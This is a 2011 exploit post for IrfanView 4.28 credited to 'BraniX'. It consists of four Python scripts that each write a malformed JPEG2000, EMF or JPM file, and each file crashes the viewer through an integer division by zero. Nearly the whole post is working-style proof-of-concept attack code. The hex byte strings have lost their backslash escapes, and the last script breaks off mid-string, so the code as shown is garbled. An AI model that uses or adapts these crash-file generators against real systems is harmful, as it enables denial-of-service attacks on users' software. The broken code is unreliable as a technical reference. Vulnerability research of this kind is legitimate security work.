IrfanView 4.28 Denial Of Service
Posted on 11 January 2011
# done by BraniX <branix@hackers.org.pl> # www.hackers.org.pl # found: 2011.01.06 # published: 2011.01.08 # tested on: Windows XP SP3 Home Edition # Windows XP SP3 Professional # App: IrfanView 4.28 # DoS, Integer division by zero. Unhandled exception in module JPEG2000.dll # i_view32.exe MD5: C6D9383C4119A59AAD70DBC4A974B8B4 # JPEG2000.dll MD5: 50B3DCD4F32C9939722A905A06AD371A filepath = "C:\IrfanView 4.28 JP2000 50% Compression DoS.jp2" f = open(filepath, "wb") f.write('x00x00x00x0Cx6Ax50x20x20x0Dx0Ax87x0Ax00x00x00x14x66x74x79x70x6Ax70x32x20x00x00x00x00x6Ax70x32x20x00x00x00x2Dx6Ax70x32x68x00x00x00x16x69x68x64x72x00x00x00x0Dx00x00x00x0Bx00x03x07x07x00x00x00x00x00x0Fx63x6Fx6Cx72x01x00x00x00x00x00x10x00x00x00x00x6Ax70x32x63xFFx4FxFFx51x00x2Fx00x00x00x00x00x0Bx00x00x00x0Dx00x00x00x00x00x00x00x00x00x00x00x0Bx00x00x00x0Dx00x00x00x00x00x00x00x00x00x03x07x01x01x07x00x00x07x01x01xFFx5Cx00x17x42x60xC8x42x5Dx42x5Dx42x6Dx3AxDBx3AxDBx3Bx35x32xB8x32xB8x32x6BxFFx5Dx00x18x01x42x60x6Dx41xF2x41xF2x42x01x3Ax6Bx3Ax6Bx3AxC1x32x49x32x49x31xFFxFFx5Dx00x18x02x42x61xAAx43x69x43x69x43x7Ax3BxF3x3BxF3x3Cx56x33xCCx33xCCx33x78xFFx52x00x0Cx00x00x00x01x01x03x04x04x00x00xFFx64x00x0Fx00x01x4Cx57x46x5Fx4Ax50x32x5Fx32x30x37xFFx90x00x0Ax00x00x00x00x00xA7x00x01xFFx93xC7xECx0Cx08x8AxC1xC5xD6x54xC0x7Dx40xA0x0BxBFx3Bx6FxDFxC1xF8x02x80x03x97x3Dx32x8BxC0xF8x42x87xCEx12x07xC2x10x01x7Fx0Cx31x03x6Bx0BxE3xA0x10x80x01xC0x74x18x1Fx08x60x04x0Cx41x6FxC3xE4x13x07xC2x34x1Fx08x80x1CxDDxFDx75xB0xA9x74x39x3Fx0Dx31x97xD9xD9x7Fx0CxACxCDx9FxC0xE8x60x1Fx92xE7xC0xE8xB0x3Ax1Cx04x40x1Fx1ExA0x20x67x12x9Ax3Fx0CxA7xC3xE1x2Ax0Ex93x07x45x61x1Cx5ExC3xDDxACx1BxF5x5BxB9x03x8AxADxF5x07x1Fx86x1Dx5Fx19xD8x05x13xA3xC0x84x5FxC0x8Ax04x80x01x7Fx03x9Cx46xBFxFFxD9') f.close() print "Done, 1 file generated on 'C:\' ..." # done by BraniX <branix@hackers.org.pl> # www.hackers.org.pl # found: 2011.01.06 # published: 2011.01.08 # tested on: Windows XP SP3 Home Edition # Windows XP SP3 Professional # App: IrfanView 4.28 # DoS, Integer division by zero. Unhandled exception in module JPEG2000.dll # i_view32.exe MD5: C6D9383C4119A59AAD70DBC4A974B8B4 # JPEG2000.dll MD5: 50B3DCD4F32C9939722A905A06AD371A filepath = "C:\IrfanView 4.28 JP2000 LosslessCompression DoS.jp2" f = open(filepath, "wb") f.write('x00x00x00x0Cx6Ax50x20x20x0Dx0Ax87x0Ax00x00x00x14x66x74x79x70x6Ax70x32x20x00x00x00x00x6Ax70x32x20x00x00x00x2Dx6Ax70x32x68x00x00x00x16x69x68x64x72x00x00x00x0Dx00x00x00x0Bx00x03x07x07x00x00x00x00x00x0Fx63x6Fx6Cx72x01x00x00x00x00x00x10x00x00x00x00x6Ax70x32x63xFFx4FxFFx51x00x2Fx00x00x00x00x00x0Bx00x00x00x0Dx00x00x00x00x00x00x00x00x00x00x00x0Bx00x00x00x0Dx00x00x00x00x00x00x00x00x00x03x00x00x00x00x01x01x07x01x01xFFx5Cx00x0Dx40x40x48x48x50x48x48x50x48x48x50xFFx52x00x0Cx00x00x00x01x01x03x04x04x00x01xFFx64x00x0Fx00x01x4Cx57x46x5Fx4Ax50x32x5Fx32x30x37xFFx90x00x0Ax00x00x00x00x01xD7x00x01xFFx93xC7xD4x0Ax0BxC7x38x51x7FxC3xE7x06x05x37xD2xC7xD4x0Ax03x99xA5x4Cx37xC1xF3x83x8FxB4x16x0FxA8x0Cx02x3Ex7Fx0Cx36xBBx62x2Fx0BxCCx17xC0x7Cx21x40x7Cx21xC0x7Cx80x80x04x3Fx00x8Cx5Fx08x4BxC1xF3x83x87xD4x0Bx03xE7x06x03x86x7Fx0Cx3Fx54xA0x7Fx08xC3x3FxC7xDAx19x0FxA8x26x1Fx68x50x1Dx1Cx3DxBBxD4xFCx81x39x8FxA6x70x69x0Dx31x7Dx53xE7xDBx76x1BxBFx0CxACx1Bx93x78xD2xF9xD4xA4x4FxC1xF3x8Ax81xF2x07x80xF9x03x80x1Cx55x34xA2x49xD7xFBx27x22x0Fx01xA7xB1x0Ax1Fx87x4Fx04x72xC3xEExE0x5Cx7FxC1xF3x8Cx87xD4x13x07xD4x10x11x7BxFCx98xB8x1Fx71x08x68xBEx09x3Fx0Bx4Fx2Bx89x58x56x5ExD9xF3x0CxACx7Ax0Ex4Bx8CxDAx19xC3xEAx1Dx87xD4x3Dx07xD4x30x4Fx4DxF3xDDx3Bx9Ex30xC2x67xC8xBEx80x42x86xA2x9Dx6Ex6Cx29x29x2BxDDxF5x71x5ExD4x7DxE4x5Fx03x8AxAEx0Dx74xDAxBAxD1x3FxD2x58x2Fx8Dx45x36x7BxF4x45xC1x95x14xDBx5Dx6Ex1Cx49xC8xC2x72xDFx1ExE9x2Fx2CxBCxC7xAAx56x9ExA9x73xFDxA7xEBxEBx43x78x20x08x39xEEx07xCEx2BxC1xF3x99x83xE7x33x03xE7x2Ex5FxECx62x95x14x7CxE1xB1x36x06xEEx8Dx1BxB8xD9xFCx4Cx12x2Dx5FxA2xA1x7Cx80xFDx3Dx57x59xB9x1BxCDx48x78xB4xC6x7FxC3x73x32x8Fx6Ex38x51x45xCDxC7xDAxEDx54x5Bx09xC2xC1x85xF6x0Bx9CxEFx38x79x10x72x31x80x43x0Dx75x99x95x9CxE6x44x7FxC1xF3x9Ex87xD4x3Dx03xE7x2Ex11x88x13x57x4Ex51x31x2DxBFx76xECx3Ex42x3CxF9xA6x5Dx7Dx96x05xF0xA9xA0x9Ex69x4CxBFx71xA3xBFx03x89x78x67x57xF0xBBxD2x32x12x88x9CxD3x41xF6x81xEDx3Ex2Ex35x62xF1x69xDAxC2x71x0FxABx14x1Bx16x55xACx51x83x1Ex48x2Ex20xC8x39x1Ax46x12xE1x62x07x88x8Cx43x20x1Ax1BxFFxD9') f.close() print "Done, 1 file generated on 'C:\' ..." # done by BraniX <branix@hackers.org.pl> # www.hackers.org.pl # found: 2011.01.06 # published: 2011.01.08 # tested on: Windows XP SP3 Home Edition # Windows XP SP3 Professional # App: IrfanView 4.28 # DoS, Integer division by zero. Unhandled exception in module i_view32.exe # i_view32.exe MD5: C6D9383C4119A59AAD70DBC4A974B8B4 filepath = "C:\IrfanView 4.28 Enhanced Windows Metafile (EMF) DoS.emf" f = open(filepath, "wb") f.write('x01x00x00x00x6Cx00x00x00x00x00x00x00x00x00x00x00x0Ax00x00x00x0Cx00x00x00x00x00x00x00x00x00x00x00x60x01x00x00xA7x01x00x00x20x45x4Dx46x00x00x01x00xF0x02x00x00x05x00x00x00x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x7Ax03x00x00x9Dx02x00x00x00x00x00x00xECx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xA8xC6x04x00xE0x99x03x00x2Bx00x00x00x18x00x00x00x00x00x00x00x00x00x00x00x0Ax00x00x00x0Cx00x00x00x15x00x00x00x0Cx00x00x00x03x00x00x00x51x00x00x00x4Cx02x00x00x00x00x00x00x00x00x00x00x0Ax00x00x00x0Cx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x0Bx00x00x00x0Dx00x00x00x50x00x00x00x28x00x00x00x78x00x00x00xD4x01x00x00x00x00x00x00x20x00xCCx00x0Bx00x00x00x0Dx00x00x00x28x00x00x00x0Bx00x00x00x0Dx00x00x00x01x00x18x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x1Ex17x14x1Cx23x14x1Cx23x14x2Dx26x16x1Cx23x14x1Cx23x14x1Cx23x14x35x27x24x36x33x35x2Cx33x4Bx2Cx33x4Bx00x00x00x1Cx23x14x1Cx23x14x1Cx23x14x1Cx23x14x1Cx23x14x3Fx39x48x48x54x67x33x29x34x36x33x35x2Cx33x4Bx44x46x65x00x00x00x36x33x35x56x58x76x64x67x87x35x44x4Dx1Ex17x14x64x67x87x65x78x96x35x27x24x36x33x35x2Cx33x4Bx48x54x67x00x00x00x27x34x33x65x78x96x65x78x96x48x54x67x56x55x67x77x76x98x44x44x56x25x24x24x3Fx39x48x44x44x56x48x54x67x00x00x00x44x44x56x44x46x65x36x33x35x67x66x77x65x59x90x67x66x99x56x55x67x25x24x24x3Fx39x48x44x44x56x44x46x65x00x00x00x77x69xCAx56x58x76x44x35x2Fx77x76x98x76x6Bx98x77x76x98x34x46x2Ex25x26x37x2Cx33x4Bx3Fx39x48x48x54x67x00x00x00x65x59x90x44x44x56x55x49x65x51x47x46x55x56x58x34x46x2Ex36x33x35x36x33x35x2Cx33x4Bx2Cx33x4Bx47x56x76x00x00x00x75x69x88x55x49x65x52x55x8Bx46x43x44x36x33x35x44x44x56x44x44x56x3Fx39x48x3Fx39x48x3Fx39x48x56x58x76x00x00x00x67x66x77x44x44x56x55x49x65x55x49x65x56x58x76x65x59x90x55x49x65x3Fx39x48x33x29x34x3Fx39x48x56x58x76x00x00x00x55x49x65x55x49x65x55x49x65x65x59x90x67x66x99x65x59x90x55x49x65x3Fx39x48x33x29x34x44x44x56x64x67x87x00x00x00x4Fx49x56x55x49x65x55x49x65x56x55x67x65x59x70x64x67x87x56x58x76x3Fx39x48x2Cx33x4Bx44x46x65x54x69x8Cx00x00x00x55x49x65x55x49x65x55x49x65x55x49x65x65x59x90x65x59x90x55x49x7Ax3Fx39x48x3Fx39x48x56x58x76x65x78x96x00x00x00x65x59x90x56x58x76x52x55x8Bx65x59x90x6Cx58xB0x67x66x99x52x55x8Bx3Fx39x48x2Cx33x4Bx56x58x76x77x8FxABx00x00x00x0Ex00x00x00x14x00x00x00x00x00x00x00x10x00x00x00x14x00x00x00') f.close() print "Done, 1 file generated on 'C:\' ..." # done by BraniX <branix@hackers.org.pl> # www.hackers.org.pl # found: 2011.01.03 # published: 2011.01.08 # tested on: Windows XP SP3 Home Edition # Windows XP SP3 Professional # App: IrfanView 4.28 # DoS, Integer division by zero. Unhandled exception in module Jpm.dll # i_view32.exe MD5: C6D9383C4119A59AAD70DBC4A974B8B4 # Jpm.dll MD5: FC45FC59BDEB6C2D8A96C99AC8B9F92E filepath = "C:\IrfanView 4.28 JPM DoS.jpm" f = open(filepath, "wb") f.write('x00x00x00x0Cx6Ax50x20x20x0Dx0Ax87x0Ax00x00x00x14x66x74x79x70x6Ax70x6Dx20x00x00x00x00x6Ax70x6Dx20x00x00x00x1Dx6Dx68x64x72x00x00x00x01x01x01x00x00x00x00x00x00x00x3Dx00x00x00x23x00x10x00x00x00x00x23x70x63x6Fx6Cx00x00x00x1Bx70x61x67x74x00x00x00x01x00x00x00x00x00x00x00x60x00x00x01xEAx00x00x03x00x00x01xEAx70x61x67x65x00x00x00x16x70x68x64x72x00x03x00x00x00x0Dx00x00x00x0Bx00x01x00x01x00x00x00x1Ax70x70x63x6Cx00x00x00x00x00x00x00x3Dx00x00x00x23x00x00x00x00x00x00x00x00x00x1Ax72x65x73x20x00x00x00x12x72x65x73x63x01x2Cx00xFEx01x2Cx00xFEx04x04x00x00x00x88x6Cx6Fx62x6Ax00x00x00x1Bx6Cx68x64x72x00x00x00x00x00x0Dx00x00x00x0Bx00x00x00x00x00x00x00x00x02x00x00x00x65x6Fx62x6Ax63x00x00x00x20x6Fx68x64x72x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x02x4Ax00x00x01x57x00x00x00x00x00x10x73x63x61x6Cx00x02x00x01x00x02x00x01x00x00x00x2Dx6Ax70x32x68x00x00x00x16x69x68x64x72x00x00x00x07x00x00x00x06x00x03x07x07x00x00x00x00x00x0Fx63x6Fx6Cx72x01x00x00x00x00x00x10x00x00x00x88x6Cx6Fx62x6Ax00x00x00x1Bx6Cx68x64x72x00x01x00x00x00x0Dx00x00x00x0Bx00x00x00x00x00x00x00x00x02x00x00x00x65x6Fx62x6Ax63x00x00x00x20x6Fx68x64x72x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x03xA1x00x00x02x14x00x00x00x00x00x10x73x63x61x6Cx00x01x00x01x00x01x00x01x00x00x00x2Dx6Ax70x32x68x00x00x00x16x69x68x64x72x00x00x00x0Dx00x00x00x0Bx00x03x07x07x00x00x00x00x00x0Fx63x6Fx6Cx72x01x00x00x00x00x00x10x00x00x00x88x6Cx6Fx62x6Ax00x00x00x1Bx6Cx68x64x72x00x02x00x00x00x0Bx00x00x00x0Bx00x00x00x01x00x00x00x00x03x00x00x00x65x6Fx62x6Ax63x00x00x00x20x6Fx68x64x72x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x05xB5x00x00x13x74x00x00x00x00x00x10x73x63x61x6Cx00x0Bx02x00x00x0Bx02x00x00x00x00x2Dx6Ax70x32x68x00x00x00x16x69x68x64x72x00x00x02x00x00x00x02x00x00x01x03x07x00x00x00x00x00x0Fx63x6Fx6Cx72x01x00x00x00x00x00x11x00x00x01x57x6Ax70x32x63xFFx4FxFFx51x00x2Fx00x00x00x00x00x06x00x00x00x07x00x00x00x00x00x00x00x00x00x00x00x06x00x00x00x07x00x00x00x00x00x00x00x00x00x03x07x01x01x07x01x01x07x01x01xFFx5Cx00x23x42x77x18x76xEAx76xEAx76xBCx6Fx00x6Fx00x6ExE2x67x4Cx67x4Cx67x64x50x03x50x03x50x45x57xD2x57xD2x57x61xFFx52x00x0Cx00x01x00x01x01x05x04x04x00x00xFFx64x00x0Fx00x01x4Cx57x46x5Fx4Ax50x32x5Fx32x30x38xFFx90x00x0Ax00x00x00x00x00xD6x00x01xFFx93xC3xF9x03x08x8Ax7FxC0x3ExD0x20x05xDFxC0xFCxC0x80x03x6Fx80x80x80x80x80x80xC0x3Ex70x30x3ExD0x20x08x06xCFxC0x1Fx20x14x00xF8x41x06x00xC0x07x41x80xFAx80xA0x07xC2x08x07x06xBFx01xC0xF9xC1x43xEDx06x81xF3x82x03x74x0Cx2Ex53x8Cx23x1Fx0BxD2xC0x1Dx0Ax03xE4x09x00x21x0Bx7Fx0Bx62x11xBFx07xC0x7Cx80xA0xFAx81x60x1Fx08x40x04x2Cx0Cx36xB9x42xBFx08x4FxC3xEDx0Cx80xF9x03xC0xF9xC3x80x1Dx1Bx03xE8x0Ex58x83x63xB1x34xDCxB7x07xD5x60x9Ax90x5Dx1Fx13x2BxEAx2AxDDxCDx95xC0x7Cx81xE0x1Fx08x90x07x44x1Cx6Fx54xD0xB0xABx17x19x13x8Fx0Fx0Ax86x46xBFxC0x7Cx82x60x3Ex40xD0x0Fx84x50x18x88x58xFDxEDx10x44xA9x97x12x9AxC3x26x0DxEFx0Cx36x4Dx03xD3xFFxD9x00x00x02x14x6Ax70x32x63xFFx4FxFFx51x00x2Fx00x00x00x00x00x0Bx00x00x00x0Dx00x00x00x00x00x00x00x00x00x00x00x0Bx00x00x00x0Dx00x00x00x00x00x00x00x00x00x03x07x01x00x00x01x01x07x01x01xFFx5Cx00x23x42x77x18x76xEAx76xEAx76xBCx6Fx00x6Fx00x6ExE2x67x4Cx67x4Cx67x64x50x03x50x03x50x45x57xD2x f.close() print "Done, 1 file generated on 'C:\' ..."
